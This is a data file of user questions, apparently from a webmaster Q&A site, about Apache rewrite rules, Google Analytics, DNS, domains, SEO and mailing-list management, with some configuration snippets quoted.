{"id":"33330","title":"Google Webmaster Tools suddenly shows 1379 crawl errors","text":"Just checking GWT today and it's suddenly showing 1,379 crawl errors (404) but for the most non-sensical URL's that don't exist, for example... www.example.com\/services\/newsletters\/services\/contact The only changes I've made recently have been setting the preferred domain to 'www' and updating the .htaccess file to redirect to 'www' as Google was showing some results with 'www' and some without. This is my .htaccess file <IfModule mod_rewrite.c> RewriteEngine On # Trailing slash enforcement RewriteBase \/ RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_URI} !(.*)\/$ RewriteRule ^(.*)$ http:\/\/www.example.com\/$1\/ [L,R=301] # Returns WWW RewriteCond %{HTTP_HOST} ^example.com RewriteRule (.*) http:\/\/www.example.com\/$1 [R=301,L] # Removes index.php RewriteCond $1 !\\.(gif|jpe?g|png)$ [NC] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ \/index.php\/$1 [L] #Redirects old static .html pages to EE CMS Redirect 301 \/services.html \/services Redirect 301 \/take-away.html \/services\/take-away Redirect 301 \/blog.html \/blog Redirect 301 \/about.html \/about Redirect 301 \/pin-up-studio.html \/pin-up-studio Redirect 301 \/press.html \/press Redirect 301 \/links.html \/links Redirect 301 \/newsletter.html \/newsletter Redirect 301 \/events.html \/events Redirect 301 \/contact.html \/contact Redirect 301 \/terms-and-conditions.html \/terms-and-conditions Redirect 301 \/parties.html \/services\/party-package Redirect 301 \/gallery.html \/gallery Redirect 301 \/bridal.html \/services\/bridal-styling Redirect 301 \/404.html \/404 <\/IfModule> Any ideas what I'd done wrong? **EDIT** So another 379 crawl errors have appeared in the last day. When I check the 'linked from' status it says it is being linked from the website itelf. An example is this URL is not found... http:\/\/www.example.com\/services\/contact.html\/bridal-styling\/bridal-styling\/services\/party-package\/take-away\/contact\/pop-up-parlour\/bridal-styling ...and lists these 2 URL's as the 'linked from' http:\/\/example.com\/services\/contact.html\/bridal-styling\/bridal-styling\/services\/party-package\/take-away\/contact\/pop-up-parlour http:\/\/www.example.com\/services\/contact.html\/bridal-styling\/bridal-styling\/services\/party-package\/take-away\/contact\/pop-up-parlour\/ As I said before the only changes I've made recently have been setting the preferred domain to 'www' and updating the .htaccess file to redirect to 'www' as Google was showing some results with 'www' and some without. My .htaccess file is as above. It seems the bots seem to have got stuck in a loop when crawling the site? Not sure why it's getting hung up on the www and non www as I've specifically stated in GWT to use www."}
{"id":"56138","title":"Moving MySQL database to another server","text":"I have a website build using Q2A engine Since I have about 600 active users there, I'm trying to create a copy of it on a second server for test purposes only. I've copied all the files and exported the website (about 28MB raw SQL \/ 8MB .gz file), but when I'm trying to import it on a new server I get the error: SELECT USER( ); MySQL returned error: #2006 - MySQL server has gone away What could go wrong? I've tried several methods: importing raw sql file, gz file, importing on clean database, import on top of installed fresh copy of q2a etc... always the same error."}
{"id":"39009","title":"Buying a custom domain for blogger","text":"I'm about to move my blogger site to a custom domain. I do all the steps as told but whenever I find the perfect custom domain (that is free) I get redirected to Google apps for business. Is it necessary to get Google apps for business before buying a custom domain? If I start a free trial of Google apps for business and cancel before the trial period expires, will my custom domain still be valid?"}
{"id":"54613","title":"Google Analytics data Missing for 4 days","text":"I used wrong tracking id in my E-commerce tracking code for Google analytics and missed the data for few days. To add that missing data in my account I have written a short script which manually send all orders data for four days to GA account but what my concern is date : Those orders which already placed on different dates and , when if I run my script and so it will send my missing data with current date , which I do not want. ( I want to send date when that order is actually placed) do anyone help me with this ? I am really much stuck with my work here."}
{"id":"65657","title":"Find the traffic stats of a specific page in Google Analytics","text":"I use Google Analytics to monitor one of my Websites. However, I have a problem and I cannot monitor the stats with the way I should. What I mean... I have a page which a user can use a link with get parameters to autofill a form. Let's say that I have a page like this one: `www.mywebsite.com\/mypage` On the history (and on realtime stats) I have different stats for: www.mywebsite.com\/mypage www.mywebsite.com\/mypage?param=123 www.mywebsite.com\/mypage?param=234 www.mywebsite.com\/mypage?param=345 ... ... There are several parameters and I cannot check them one by one. I would expect a stats page which will present stats for `www.mywebsite.com\/mypage` and for any same link with parameters as one page. Is there any way to do this?"}
{"id":"47227","title":"Mapping different users to folders with mod_rewrite","text":"I'm setting up a DAV server with Apache 2.2 and would like, if at all possible, to be able to redirect a user to their own folder without having per-user URLs, if at all possible. So I point a user to `https:\/\/dav.example.org\/`, I have authentication enabled (AuthType Digest, AuthDigestProvider file) so the user logs in, and then content is served from `\/home\/%{REMOTE_USER}\/dav`. Or that's the theory anyway. The problem is I can't get it to work. The basic rule (at least to start with - I know this won't necessarily redirect everything, but if I can get the root folder to work and at least get an index of files, I can tweak the reg-ex later): RewriteEngine On RewriteCond %{LA-U:REMOTE_USER} (.*) RewriteRule ^\/ \/home\/%1\/dav\/ The problem is that the lookahead doesn't seem to work - it always returns an empty string (I'm running with `RewriteLogLevel 5`, and get \"`RewriteCond: input='' pattern='(.*)' => matched`\" in the log). I know I'm logged in with a username as I can see the user in the appropriate field in access_log. I've also tried moving this into .htaccess, but it didn't seem to play there (the rewrite engine didn't seem to even start); similarly, it didn't play under a config in the main config file (again, it looked like it failed to process any of the rules). I had some success with it under in that the remote-user was successfully mapped, but then it got stuck in a recursive loop (error log tells me \" _Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary._ \", and then I read in the manual that wasn't really supported anyway[1], so I'm rejecting that path. It looks like what I'm doing _should_ be straightforward, but I'm failing to see what I'm missing. Trying to keep config\/log snippets brief here to keep question tidy - can add snippets on request. [1] The manual for mod_rewrite in 2.2 says \"Although rewrite rules are syntactically permitted in and sections, this should never be necessary and is unsupported.\" * * * **EDIT** ... this is the virtual site config (I've got a number of virtual sites, so I'm assuming that the root httpd.conf isn't needed) <VirtualHost *:443> SSLEngine on SSLProtocol -ALL +TLSv1 SSLCertificateFile <edited out> SSLCertificateKeyFile <edited out> SSLCACertificateFile <edited out> SSLCertificateChainFile <edited out> SSLHonorCipherOrder On SSLCipherSuite RC4-SHA:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:DES-CBC3-SHA ServerAdmin admin@localhost DocumentRoot \/var\/www\/dav.example.org ServerName dav.example.org ErrorLog \/var\/log\/apache2\/dav.example.org.errlog CustomLog \/var\/log\/apache2\/dav.example.org.log combined RewriteLog \/var\/log\/apache2\/dav.example.org.rewritelog RewriteLogLevel 5 LogLevel debug <Location \/> Options Indexes FollowSymLinks Order allow,deny Allow from all Dav On AuthName DAV AuthType Digest AuthDigestProvider file AuthUserFile \/tmp\/dig <LimitExcept OPTIONS> # Testing only - running single-user Require user cej <\/LimitExcept> <\/Location> RewriteEngine On RewriteCond %{LA-U:REMOTE_USER} (.*) RewriteRule ^\/ \/home\/%1\/dav\/ <\/VirtualHost>"}
{"id":"38229","title":"How can I find the approximate daily traffic of a site which I don't own?","text":"> **Possible Duplicate:** > Is there any way to discover the traffic of a site I don’t control? I want to find the approximate daily traffic of a site which isn't ours, and the site is located in other country than US (in Greece - hence no Quantcast or Compete.com afaik) and it doesn't use Google Ads (hence no Google Ad Planner). I know about Alexa but the site(s) has\/have relatively low traffic and the Alexa's rank isn't very useful (same stands to Google Trends). Or perhaps I should look more at Alexa's data? Any other ideas? PS: I looked before posting here and here. No luck."}
{"id":"65656","title":"SEO & Reordering of duplicate content","text":"I am currently working on a website, and the designer wants a menu that is setup like this: * Toplevel1 * Toplevel2 * submenu1 * submenu2 * submenu3 * Toplevel3 * Toplevel4 All menu items have a title and content. When the user clicks toplevel2, the page needs to show all titles and content of the child submenus like so: Title for submenu1 content.... Title for submenu2 content.... Title for submenu3 content.... etc.. If the user instead clicks directly on submenu2, the exact same content should be displayed but with the selected submenu title and content placed first, like this: Title for submenu2 content.... Title for submenu1 content.... Title for submenu3 content.... etc.. Although I could get into a general discussion as to weather or not this is good design, my actual question is: Does this hurt SEO? They are all gonna have different URLS: www.domain.com\/submenu1 www.domain.com\/submenu2 etc.. The thing is, I can't just do canonical redirect, since the order of the content still differs between url's. (I posted this question on stack overflow first, but was asked to post it here instead.)"}
{"id":"57262","title":"Can I get multiple subdomains for different dns?","text":"I have a domain registered with a domain vendor and hosting provider. I tried out with 000webhost as hosting service, so I changed my domain settings to the **000webhost dns addresses**. At 000webhost I can generate as much **subdomains** as I want. So I can get for example: * subdomain1.mydomain.com * koala.mydomain.com * mexico.mydomain.com * ... But as 000webhost is Apache, PHP MySQL based here comes one of my needings: What if I want to have something like: * rubyonrails.mydomain.com * nodejs.mydomain.com That's **subdomains for different technologies**. And I assume I'd look for a free hosting service based on such different technologies. I'd need to deal with their dns for each subdomain. As I know, the immediate solution to this are **CNAMES** , I contacted my domain service provider and they told I should change dns settings to theirs and they'd create as much CNAMES registers and I wanted but I'm not sure this would fix the main hosting with 000webhost, the subdomains for different technologies and the subdomain for a blog hosting. What's the right solution for this and, if anyone knows, does godaddy permit to create any CNAMES registers as intended?"}
{"id":"245","title":"I have an old domain that I'm retiring. How do I set up a permanent redirect from the old domain to the new one?","text":"I originally posted this as one of the defining questions for the site so I thought I'd ask it again. Currently I have DNS for both domains pointing to the same place but I'd like to set up a permanent redirect from the old one to the new one for any lingering links out in the wild."}
{"id":"55801","title":"\"Access denied\" error in Google Webmaster tools","text":"I have an access denied problem in my webmaster tools. It says 404 errors. How can I solve this? I have already fixed the errors, but they are not removed from Google Webmaster Tools."}
{"id":"58274","title":"Domain name never return requested path\/document, only \/index.html","text":"I have my own web server and I purchased domain name to use it with my website. For example - my domain name is `www.example.com` When I navigate to `www.example.com\/example.html` (or `www.example.com\/example`) I will always be redirected to `178.xx.xx.xx\/index.html`. I was able to implement navigation within my website using relative links, but when I do so it would not show the correct URL (for example, I am on `www.example.com\/index.html` page, and I navigate to `\/example.html` - URL bar would show `www.example.com\/index.html` instead of `www.example.com\/example.html`) If I navigate to `178.xx.xx.xx\/example.html` manually, it opens the right page, so I assume that my server works correctly. I am using Debian with Apache for my web server. For my domain I redirect `www.example.com` to `http:\/\/178.xx.xx.xx\/` with cloak. From all above I assume the problem is with my domain configuration, as I tried my friend domain name, and it worked correctly."}
{"id":"16244","title":"no-www redirect not working \/ DNS A record","text":"I'm far from an expert on this, but I'll try to be as clear as possible. I have an eshop solution leased from a company and it's hosted on their server. I can access it thru company.com\/myshop and it also allows me to set up to 3 domains that they should recognize and redirect to my specific shop from. I registered a domain with a different company and am trying to \"redirect\" it to the eshop. By means of one of the following DNS entries (as they look in the admin GUI) * * A 111.111.111.111 * *.myshop.com A 111.111.111.111 * myshop.com A 111.111.111.111 I've managed to make www.myshop.com redirect to the IP of company.com (111.111.111.111), which then goes on to do exactly what I expect it to do (ie. recognizes it comes from my domain, does some further redirects itself). However, I **can't seem to make myshop.com** (ie. without the www) **redirect** to that IP, too. The company that I registered the domain with provides a \"URL redirect\" service, but google would only register the redirect request and wouldn't follow it. That's why I hope for a DNS solution to this - my assumption being I've managed to miss adding a record to the DNS; if, however, the reason lies elsewhere, I'd be happy to hear about that too. If it's a search engine friendly solution (ie the www\/no-www dilemma - avoidance of double content penalties), then that's even better; have no prefference either way (www\/no- www), just need it to work. Any help is greatly appreciated, thanks"}
{"id":"16717","title":"Interesting domain name fraud - can we get domain back from the fraudster?","text":"I am the author of a quite popular weather software - YoWindow. Our website is http:\/\/yowindow.com Today I have found out that some person has registered http:\/\/yowindows.com domain, the difference is in \"S\" at the end. Now he is trying to sell our product as affiliate on this page. I have absolutely no knowledge in the field of domain name legislation. So I ask you for help. I wonder if we can take away the domain from the person. Can we claim the domain ownership to us, to avoid this happening in the future? YoWindow is US registered trademark. And there are no any other product with the name YoWindow in the world. So we can prove our rights to the name. Pasha"}
{"id":"16714","title":"What does the Google Analytics Average Time on Site calculate?","text":"When my Google Analytics account shows 10 minutes for time spent on site, what does this mean? Does it mean the visitors have opened one page and left it idling in a tab while (possibly) browsing in another tab? Or does it mean they have been browsing my site for 10 minutes straight with at least a certain amount of actions within a specific amount of time? I couldn't find any explanations of what exactly it is they measure."}
{"id":"32001","title":"Is it o.k. to have a domain name which happens to also be the title of a book?","text":"For example, I would like to use the domain \"stuckinthemiddle.com\", but \"Stuck in the Middle\" is also the title of a book. Can I get sued on copyright terms? I checked this question, and according to it, \"Stuck in the middle\" would have to be a trademark (which is not, I believe)..."}
{"id":"32002","title":"how to customize Tracking Ecommerce Transactions with Google Analytics?","text":"In the Ecommerce Transactions with Google Analytics, we can code as below: _gaq.push(['_addTrans', '1234', \/\/ order ID 'SitePoint', \/\/ store '19.99', \/\/ total '1.50', \/\/ tax '3.00', \/\/ shipping 'Chicago', \/\/ city 'Illinois', \/\/ state 'USA' \/\/ country ]); But I want to implement it for employer registration page where I wont get order_id and total fields. Instead can I use employer_id and company name by replacing oerder_id and store... Will it works ? for reference you can see GA Ecommerce How to use it for employer registration ?"}
{"id":"22470","title":"Google analytics - drop in traffic","text":"Bit of a general question here. We are in the process of converting a number of our clients from older web sites to new ones. The problem we are getting, and sorry for being so general here, is we are getting a sharp decline in traffic as reported on Google Analytics. It's not a gradual decline, it seems to hit almost as soon as the new site goes live. I've just got a few questions to see if there is something we are doing wrong: a) We are using the same analytics accounts going from old to new site. Is this a bad idea? b) The actual analytics code is integrated into the pages using a server-side include. IS this a bad idea? c) We structure our sites differently to our old site. IE. The old sites would pretty must have all the web pages in the root directory, and hyperlinks would be linked to the page files: EG. <a href=\"somepage.aspx\">Link<\/a> Our new sites now have a directory structure that pretty much reflects the navigation structure, and hyper links link to the pages directory instead of the actual page: EG. <a href=\"\/new-items\/shoes\/\">New shoes<\/a> Is this a bad idea. I'm really searching for a needle in a haystack here. Would appriciate any help or advice as to why we are getting such a sharp and sudden drop in traffic. Again, so this is such a general question. Thanks in advance."}
{"id":"34554","title":"home page of my site is not appear in google search, when I type site:example.com","text":"I am totally confused, when I place `site:example.com` in google I see every page of my website in serp(search engine result page) except the home page. I don’t know why it’s happening but I check everything according to google SEO rule. But not getting success.I try to check my site through google webmaster tool everything is perfect there, Please help me to solve this. htaccess rule of my site RewriteEngine on #RewriteBase \/ #RewriteCond %{HTTP_REFERER} !^$ #RewriteCond %{HTTP_REFERER} !^http:\/\/(www\\.)?example.ro\/.*$ [NC] #RewriteCond %{HTTP_REFERER} !^http:\/\/(www\\.)?exa-example.ro\/.*$ [NC] #RewriteRule \\.(gif|jpg|swf|flv|png)$ \/ [F] RewriteCond %{HTTP_HOST} ^sitename\\.com$ RewriteRule ^(.*)$ http:\/\/www.sitename.com\/$1 [R=301,L] RewriteRule ^privacy_policy.html$ privacy.php RewriteRule ^contact_us.html$ contact.php #RewriteCond %{HTTP_HOST} !^sitename.com$ #RewriteRule ^(.*)$ http:\/\/sitename.com\/$1 [L,QSA,R=301] RewriteRule ^index\\.php$ \/ [QSA,R=301] RewriteRule ^([A-Za-z0-9_]+)_([0-9]+).html$ articol.php?id=$2 RewriteRule ^([a-z_]+).html$ categorii.php?abbr=$1 RewriteRule ^([A-Za-z0-9+]+)$ search.php?cuvinte=$1 RewriteRule ^images\/$ images [F] RewriteRule ^o_articole\/$ o_articole [F]"}
{"id":"22491","title":"Is the Mailchimp API available in other languages?","text":"I'm using the Mailchimp API in combination with PHP and jQuery to provide the subscribing\/unsubscribing-actions on a website via Ajax. On errors with user data you get useful messages like \"Invalid Email Address\", \"test@example.com is already subscribed to list x. Click here to update your profile.\" or \"There is no record of \"test@example.com\" in the database\". For sure I want to keep theses messages, but is there a way I can get them in other languages (in particular in German)? How would I achieve this? I wasn't able to find anything about in the Mailchimp docs. I wouldn't like to translate them myself..."}
{"id":"12006","title":"Componentheading and contentpagetitle joomla","text":"If have a problem with the componentheading and the contentpagetitle. I got a sectionblog for my articles. The title of the page is a componentheading. The title of the articles (intro) is a contentpagetitle. If I click on the title of a article, I can see the entire article. The title of the page is now the title of the article (contentpagetitle), and that is good. The problem is, this title now needs the same layout as the componentheading. But if I do this, the titles of the articles also get this layout in the sectionblog How can I make sure I got 2 different styles, or the contentpagetitle changes in a componentheading while looking at the full article? I you don't uderstand what I'm saying just go to http:\/\/csm.infowebpreview.be\/nl\/realisaties, and click on the first title 'Realisatie'. The full article opens and the title 'Realisatie' should be underlined now. Or this is also correct: if an article is the only article on a page the title should get another layout Thanks"}
{"id":"12005","title":"RewriteRule not working for certain URLs","text":"There are a few domains pointing towards the same server, and of course I need them all redirect to only one of them. Redirects work, but only for certain URLs. What works: `http:\/\/www.domain.com, http:\/\/domain.com, domain.com\/index.html, domain.com\/index.php, domain.com\/nonExistentDirectory`, and if I click in the menu the following URLs are also redirected correctly: `domain.com\/foo\/bar`, `domain.com\/foo\/bar.html` or .php or other extension. What doesn't work: `domain.com\/existentDirectory`, `domain.com\/foo\/bar` (if I type the URL in the address bar). If anyone will have the time and skill and will to tell me where's the mistake, I'll be deeply grateful. Here's my .htaccess file: AddHandler x-httpd-php .html .htm <ifModule mod_gzip.c> mod_gzip_on Yes mod_gzip_dechunk Yes mod_gzip_item_include file \\.(html?|txt|css|js|php|pl)$ mod_gzip_item_include handler ^cgi-script$ mod_gzip_item_include mime ^text\/.* mod_gzip_item_include mime ^application\/x-javascript.* mod_gzip_item_exclude mime ^image\/.* mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.* <\/ifModule> <ifModule mod_expires.c> ExpiresActive On ExpiresDefault \"access plus 1 seconds\" ExpiresByType text\/html \"access plus 1 seconds\" ExpiresByType image\/gif \"access plus 2592000 seconds\" ExpiresByType image\/jpeg \"access plus 2592000 seconds\" ExpiresByType image\/png \"access plus 2592000 seconds\" ExpiresByType text\/css \"access plus 2592000 seconds\" ExpiresByType text\/javascript \"access plus 216000 seconds\" ExpiresByType application\/x-javascript \"access plus 216000 seconds\" <\/ifModule> <ifModule mod_headers.c> <filesMatch \"\\\\.(ico|pdf|flv|jpg|jpeg|png|gif|swf)$\"> Header set Cache-Control \"max-age=2592000, public\" <\/filesMatch> <filesMatch \"\\\\.(css)$\"> Header set Cache-Control \"max-age=2592000, public\" <\/filesMatch> <filesMatch \"\\\\.(js)$\"> Header set Cache-Control \"max-age=216000, private\" <\/filesMatch> <filesMatch \"\\\\.(xml|txt)$\"> Header set Cache-Control \"max-age=216000, public, must-revalidate\" <\/filesMatch> <filesMatch \"\\\\.(html|htm|php)$\"> Header set Cache-Control \"max-age=1, private, must-revalidate\" <\/filesMatch> <\/ifModule> <ifModule mod_headers.c> Header unset ETag <\/ifModule> FileETag None <ifModule mod_headers.c> Header unset Last-Modified <\/ifModule> # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> # END WordPress RewriteCond %{HTTP_HOST} ^foo\\.com$ [OR] RewriteCond %{HTTP_HOST} ^www\\.foo\\.com$ RewriteRule (.*) http:\/\/domain.com\/$1 [R=301,L,QSA] RewriteCond %{HTTP_HOST} ^foo1\\.com$ [OR] RewriteCond %{HTTP_HOST} ^www\\.foo1\\.com$ RewriteRule (.*) http:\/\/domain.com\/$1 [R=301,L,QSA] RewriteCond %{HTTP_HOST} ^foo2\\.com$ [OR] RewriteCond %{HTTP_HOST} ^www\\.foo2\\.com$ RewriteRule (.*) http:\/\/domain.com\/$1 [R=301,L,QSA] RewriteCond %{HTTP_HOST} ^foo3\\.com$ [OR] RewriteCond %{HTTP_HOST} ^www\\.foo3\\.com$ RewriteRule (.*) http:\/\/domain.com\/$1 [R=301,L,QSA] RewriteCond %{HTTP_HOST} ^foo8\\.com$ [OR] RewriteCond %{HTTP_HOST} ^www\\.foo8\\.com$ RewriteRule (.*) http:\/\/domain.com\/$1 [R=301,L,QSA] Thinking that the above version was overkill, I've also tried to redirect all the requests for domains different than the main on to be redirected to it like this: RewriteCond %{HTTP_HOST} !^domain\\.com$ [NC] RewriteRule ^(.*)$ http:\/\/domain.com [L,R=301] Is it also wrong? Because it doesn't work either! P.S. @Sodved I've tried that and it doesn't help (I comment here because I can't seem to be able to comment your answer.) Removing the following piece of code didn't solve the issue either, so the problem must be somewhere else: # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> # END WordPress New details: using this tool for checking the redirects I got the following results for the URLs that are not redirected: > Checked link: `http:\/\/domain.com\/aDirectory\/` > > Type of link: direct link (note the trailing slash above) and: > Checked link: `http:\/\/domain.com\/aDirectory` > > Type of redirect: 301 Moved Permanently > > Redirected to: `http:\/\/domain.com\/aDirectory\/` (no trailing slash here) I hope\/suspect I'm getting closer to the cause of this behavior."}
{"id":"21499","title":"Is it possible for web crawlers to see static pages without following a link to them?","text":"If I create a static page on a domain (http:\/\/www.domain.com\/page.html), can a crawler still see it if there aren't any links to it anywhere on the site?"}
{"id":"44971","title":"Ridiculously high price for cloud","text":"I have dedicated servers for my website. Many hosting companies will charge about €30 \/ month for a server like this: * CPU: i3 @3.4GHz * RAM: 8GB * HDD: 2x 1TB Comparing this to a cloud configuration (for example PagodaBox), if you set the RAM to as low as 1GB per instance with a single instance you get a price of 100USD \/ month. I don't understand why this is. I know that with a cloud you can easily scale your application, but for this price I don't think it's worth the price. Even stackoverflow has its own dedicated servers. Do you think these prices are worth the advantages of the cloud?"}
{"id":"50456","title":"Google Adsense before\/above article in Wordpress: SEO problem?","text":"I have set a banner before my article \/ content in `Wordpress` on my `single.php`. Will this be a problem if we look at it in `SEO` terms? So that `Google` can't crawl my article or crawl it less good because of this ad?"}
{"id":"51606","title":"Difference between Traffic Source->Source->Search and Traffic Source->SEO","text":"I'm having a hard time figuring out what these two views show me. `Traffic Source->Sources->Search->Organic` seems to show the key word a person searched for in a search engine, like Google. What does `Traffic Source ->Search Engine Optimzation -> Queries` show? Are those search terms from within my site's search function, or are they also search terms from Google, etc.?"}
{"id":"52672","title":"Plesk 11 Preview Joomla site, formatting lost","text":"I have a site on server A which I am about to move to server B. The transfer is all done apart from the DNS. I now want to preview my site before I change DNS, but when I try all formatting is gone. I use the simple preview option with an URL to access the site on server B. This is a Joomla site, and I wonder if there is any special considerations to make or known problems when previewing a joomla site in Plesk? I also want to mention that i have to append 'index.php' to see the site. I am not sure wheter this is a Joomla or a Plesk problem."}
{"id":"63053","title":"How can I get Google to index Blogger posts with over 200 comments?","text":"In Blogger(Blogspot), Google doesn't index blog comments if it goes over 200 comments. Does anyone know how to make search engines index blog post that have more than 200 comments?"}
{"id":"26665","title":"expires headers and forcing cache-loading instead of 304?","text":"so here is a little mystery. google analytics javascript somehow always loads from browser cache on F5 (in Firefox). i cannot get the same thing to happen with my own scripts. here are the headers that come back on initial request: http:\/\/google-analytics.com\/ga.js: (Status-Line) HTTP\/1.1 200 OK Last-Modified Thu, 16 Feb 2012 00:48:45 GMT X-Content-Type-Options nosniff, nosniff Date Thu, 01 Mar 2012 20:58:10 GMT Expires Thu, 01 Mar 2012 22:58:10 GMT Content-Type text\/javascript Vary Accept-Encoding Age 1326 Cache-Control max-age=7200, public Server GFE\/2.0 Transfer-Encoding chunked Connection close http:\/\/my-site.com\/myscript.js: (Status-Line) HTTP\/1.1 200 OK Server nginx Date Thu, 01 Mar 2012 21:20:16 GMT Content-Type application\/javascript Last-Modified Fri, 10 Feb 2012 17:50:27 GMT Transfer-Encoding chunked Connection keep-alive Vary Accept-Encoding Expires Thu, 01 Mar 2012 23:20:16 GMT Cache-Control max-age=7200, public Content-Encoding gzip when i press F5 on my page, `ga.js` just loads from cache, but `myscript.js` gets requested and comes back with 304 (not modified). what's the magic combo here? and how do i make it load from cache without a server trip until it expires? **EDIT** i am NOT using google's stock tracking snippet. i'm using the following loading code <script src=\"\/assets\/js\/vendor\/LAB.min.js\"><\/script> <script> $LAB .script(\"\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/1.7.1\/jquery.min.js\").wait() .script(\"\/assets\/js\/common.js?abc123\").wait() .script(\"\/assets\/js\/home.js?abc123\") .script(\"\/assets\/js\/stats.js?abc123\"); <\/script> **stats.js** \/\/ Google Analytics var _gaq = [[\"_setAccount\", \"UA-XXXXXXXX-1\"], [\"_trackPageview\"]]; $LAB.script(\"\/\/google-analytics.com\/ga.js\"); \/\/ WebSTAT \/\/ ... thanks! leon"}
{"id":"9245","title":"Looking to move current e-commerce website to Squarespace","text":"I have a business website, www.stockrumors.com, and it is a pretty simple design on the user side of things but the back end and admin side of things are a bit more complicated. Is it possible to create a new site with Squarespace and link the back end functionality to that site so as not to lose any subscriber or database information?"}
{"id":"9244","title":"Where to buy a domain for my local server","text":"I have made a website and hosted in my local computer using a static ip Where can i buy a domain name such as `www.something.com` such that it can redirect to my static IP. So that if i m using a page like a `http:\/\/localhost\/index.jsp` it can be accessed by `http:\/\/www.something.com\/index.jsp` Does it matter if i run the server locally or should I buy a managed web hosting server from a big company if the traffic is low on my site?"}
{"id":"46788","title":"Slow Migration is it possible with a PHP\/SQL Driven site","text":"I have a Joomla site that is operating on `www.mysite.com`, I want to migrate to WordPress but heres the thing, I have hundreds of pages and simply moving migrating them to a `test site` isn't ideal since well I want to migrate now.. but I don't have the time to change all the pages all at once. Now I already know its possible to install the WordPress to `www.mysite.com\/wordpress\/` but obviously at a later date but this is not very ideal because due to the sheer number of undesirable redirects at an later stage. My question is fairly simple but may require a complex answer. Is it possible to run 2 SQL Driven sites in PHP such as Joomla and WordPress in the same Directory.. i.e `www.mysite.com\/` if so how.. and if not why not! I understand this might because of the `index.php` but is there a way around this perhaps via .htaccess - Thanks in advance."}
{"id":"21609","title":"How would you connect 2 mailing lists?","text":"A friend of mine and I have two mailinglists (one on google groups, one on yahoogroups) concerning a similar topic. It would be convenient to connect those mailing lists, so that every message is sent to both lists. However, we want to avoid \"loops\" (a message that is sent to every list more than once). As both lists have a high \"identification potential\" simply copying all users to the other list is not an option."}
{"id":"24890","title":"Amazon Cloudfront Node detection","text":"I have been using Amazon Cloudfront to server up media\/js\/css files stored in Amazon S3 for a website that is accessed internationally. I want to find out if Cloudfront is using the nearest node from the point of origin of the web page request. So for example is someone from Hong Kong is requesting my website's home page, the static files like media\/js\/css are getting served up from the node in Singapore. How can I figure this out other than renting server space on EC2 in Hong Kong and pinging the resource from there?"}
{"id":"49570","title":"SEO penalization after 301 redirect","text":"A client asked to re-do his website entirely. After I finished, I uploaded the new website into a folder of the old one, so the new one is in `www.oldwebsite.com\/new\/`. The old has few pages, static content and nothing more. The new one has the same content plus additional pages, in terms of weight, it's 5 times bigger. The problem is that the old website has a very good SEO and when I search it on Google it displays on the first page of results. At this point I was thinking to not delete the old website and leave the structure as it is now, `www.oldsite.com\/new\/` and just redirect all traffic to the new one. My main concern is that this way I may lose Google ranking and be penalized, so when I search it on Google it won't display anymore in the first page of results. Being a beginner with SEO I don't know if this is legit and if not how to handle this situation, so I ask you what would you suggest me to do? Can I leave it this way and not being penalized?"}
{"id":"46783","title":"What's the double semicolon (::) for in PHP?","text":"I'm working with NetSuite's PHP toolkit and i get the error T_PAAMAYIM_NEKUDOTAYIM from this line $classname = get_class($object); $typesmap = $classname::$paramtypesmap; <--- I just want to know what's the '::' for, since is from there that i've seen the error is coming from. All my dev work is on hold for this error and it has been almost a week. My guess, it takes the value from $paramtypesmap to $typesmap depending the class name, which may seem kind of obvious, but the point is that i've never seen the '::' been used before."}
{"id":"65045","title":"what should I do if I cannot find a person who asks to unsubscribe in my mailing list?","text":"One of our customers asks us to send out marketing mail. We manage their subscriber list in Microsoft Dynamics CRM and use a remote desktop tool to send the mails through their network via the Sendgrid SMTP server. When they receive unsubscribe requests after another mass mailing, they pass this along to us and we manually deactivate the relevant contacts in CRM. The unsubsribe link happens through a reply mail with the subject \"unsubscribe\". With a recent unsubscribe wave, we found that about a dozen of the email addresses that sent such a reply, we could not find in our system, neither when searching for the first name, the last name, the email address, the domain nor parts of any of these. This isn't just \"they're in there, but with a slightly different email address\", because we found and deactivated a number of those through searching for the names. This is a case of \"Either they're not in the system, or they're in the system with completely different credentials.\" Obviously the method we're using for unsubscription is flawed and we're currently investigating alternative methods of managing the mailing list, but the problem is that those email addresses asked to be unsubscribed, but we are unable to unsubscribe them because we cannot find their registered address. If we do not unsubscribe them, we run the risk of blacklists and complaints about spam, which will affect the reach of the mailing, our reputation and our client's reputation. How should this situation be handled?"}
{"id":"67890","title":"Which domain do I need to whitelist as an HTTP referrer for Google+?","text":"I am using MaxCDN for my website, and to prevent hotlinking, I only allow my website's pictures to be displayed on whitelisted HTTP referrers, through MaxCDN's security settings. However, even though I have added every kind of Google domain I could find, my post's pictures won't show up in new Google+ Posts.  These are the domains I have whitelisted so far: *.googleusercontent.com *.google.com *.googleapis.com *.gstatic.com *.googlegroups.com *.ggpht.com Which server am I missing?"}
{"id":"59354","title":"Is there a standard way to mark web content obsolete?","text":"I was just listening to someone talk about how the older content is the more relevant it is seen by search engines even if it is obsolete info. But it seems in many cases it is good to leave content in place for historical\\reference reasons. Is there a standard way (tag, meta-tag, http response code) to mark up a page as obsolete? Or at least is there a standard way to tell the search engines that the pages are less relevant. To be absolutely clear, I am not asking how to make the pages unavailable (for which there are clear HTTP status codes), but rather how to acknowledge that they may no longer be relevant except for historically."}
{"id":"3694","title":"What skills in today's market as a webmaster have the most value?","text":"From your experience, based on supply, demand, and effort to learn -- What skills in today's market as a webmaster have the most value? Second, if you were evaluating another webmaster on that skill, what factors would be the best indicators of their level of expertise?"}
